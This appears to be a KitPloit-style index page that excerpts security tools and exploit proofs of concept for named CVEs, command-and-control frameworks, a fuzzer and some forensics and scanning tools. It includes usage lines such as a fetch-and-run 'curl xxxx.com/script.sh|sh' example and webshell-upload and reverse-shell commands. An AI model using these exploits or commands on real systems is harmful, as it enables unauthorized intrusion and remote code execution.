POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

outis

outis outis is a custom Remote Administration Tool RAT or something like that. Think Meterpreter or Empire-Agent. However, the focus of this tool is neither an exploit toolkit there are no exploits nor persistent management of targets. The focus is to communicate between server and target system...

privesc-CVE-2010-0426

Sudo 1.6.x=1.6.9p21 y 1.7.x=1.7.2p4 Escalada de Privilegios Local Sudo su "do" permite a un administrador del sistema otorgar a ciertos usuarios o grupos de usuarios la capacidad de ejecutar algunos o todos los comandos como root mientras registra todos los comandos y argumentos. Entorno vulnerab...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS unauthenticated RCE via PHP Object Instantiation Usage Vulnerability Detection. root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 Upload a PHP webshell. root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:8080 Reference...

CVE-2024-7120

Raisecom Devices Command Injection CVE-2024-7120 Proof of concept! Overview A command injection vulnerability has been identified in the RAISECOM Gateway devices, affecting models MSG1200, MSG2100E, MSG2200, and MSG2300. This vulnerability allows remote attackers to execute arbitrary commands on...

NorthStarC2

NorthStarC2 is an open-source command and control framework developed for penetration testing and red teaming purposes by Engin Demirbilek. NorthStar C2 Framework consists of two applications, a server-side GUI web application for managing sessions and a client-side stager to communicate with C2...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 Exploit PoC Usage root@kitploit: usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h,...

GeckoDroid

GeckoDroid Mobile client for Adaptix C2 Framework. Full operator access from your Android device. What it does GeckoDroid gives you control over your Adaptix C2 server from anywhere. Instead of sitting at your desktop client, you can manage operations on the go. Agents - See all connected agents...

Webmin_1.890-POC

Webmin 1.890 expired Remote Root CVE-2019-15107 Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge of it to execute commands as root. Versions 1.900 to 1.920 also contained a backdoor using similar code, but it was not exploitable in a default Webmin install...

CVE-2023-42793

CVE-2023-42793 Solo con fines educativos PoC para CVE-2023-42793 Uso de CVE-2023-42793admin.sh: root@kitploit: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port Prueba de funcionamiento: Uso de CVE-2023-42793rce.sh: root@kitploit: chmod +x CVE-2023-42793rce.sh...

CVE-2019-15107

CVE-2019-15107 Webmin RCE Error - Perl execution Failed Your password has expired, and a new one must be chosen.uid=0root gid=0root groups=0root PoC Failed to change password : The curren...

telegram-c2

Telegram C2 Command and control a server via telegram bots. Installation Tutorial Video Create a telegram bot Edit main.py, set BOTAPIKEY to the bot's api key and telegramuserid to your telegram id Install the following dependencies root@kitploit: pip install -r requirements.txt Compile to...

preflight

Preflight.sh Preflight.sh is a command-line tool that scans your codebase for launch readiness. Identifies missing configuration, integration issues, security concerns, SEO metadata gaps, and other common mistakes before you deploy to production. Don't embarrass yourself in production. Just run t...

watchTowr-vs-FortiSIEM-CVE-2025-25256

watchTowr-vs-FortiSIEM-CVE-2025-25256 Generador de artefactos de detección para FortiSIEM CVE-2025-25256 https://github.com/user-attachments/assets/1aa1040a-af34-460d-8844-1e440efa9ba1 Consulte nuestra publicación en el blog para obtener detalles técnicos Detección en acción root@kitploit: python...

titus

Titus: High-Performance Secrets Scanner Titus is a high-performance secrets scanner that detects credentials, API keys, and tokens in source code, files, and git history. It ships with 487 detection rules covering hundreds of services and credential types, drawn from NoseyParker and Kingfisher...

radare2

Radare2: Libre Reversing Framework for Unix Geeks Current git master branch is 6.2.2, next release will be 6.2.4. Description r2 is a complete rewrite of radare. It provides a set of libraries, tools and plugins to ease reverse engineering tasks. Distributed under LGPLv3, despite each plugin can...

rifiuti2

Introduction Rifiuti2 is a for analyzing Windows Recycle Bin INFO2 file. Analysis of Windows Recycle Bin is usually carried out during Windows computer forensics. Rifiuti2 can extract file deletion time, original path and size of deleted files and whether the trashed files have been permanently...

CVE-2021-44168

Exploit for CVE-2021-44168 Purpose Exploit CVE-2021-44168 to drop a shell on a Fortigate firewall and enable its access via LDPRELOAD tricks that execute when running some of Fortigate's CLI commands. You get a root shell. Use Compile: root@kitploit: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -...

CVE-2023-38646

CVE-2023-38646-exploit "This vulnerability, designated as CVE-2023–38646, allowed attackers to execute arbitrary commands on the server without requiring any authentication." A quick reverse shell exploit script for cve-2023-38646. I did not find this vulnerability, just made the script. Usage...

ci_fuzz

Description: root@kitploit: This script fuzz's for Command Injection vulnerabilities resulting in remote command execution. Similiar OWASP vulnerablities are explained here -- https://www.owasp.org/index.php/CommandInjection The script will attempt to execute OS commands by injecting into every...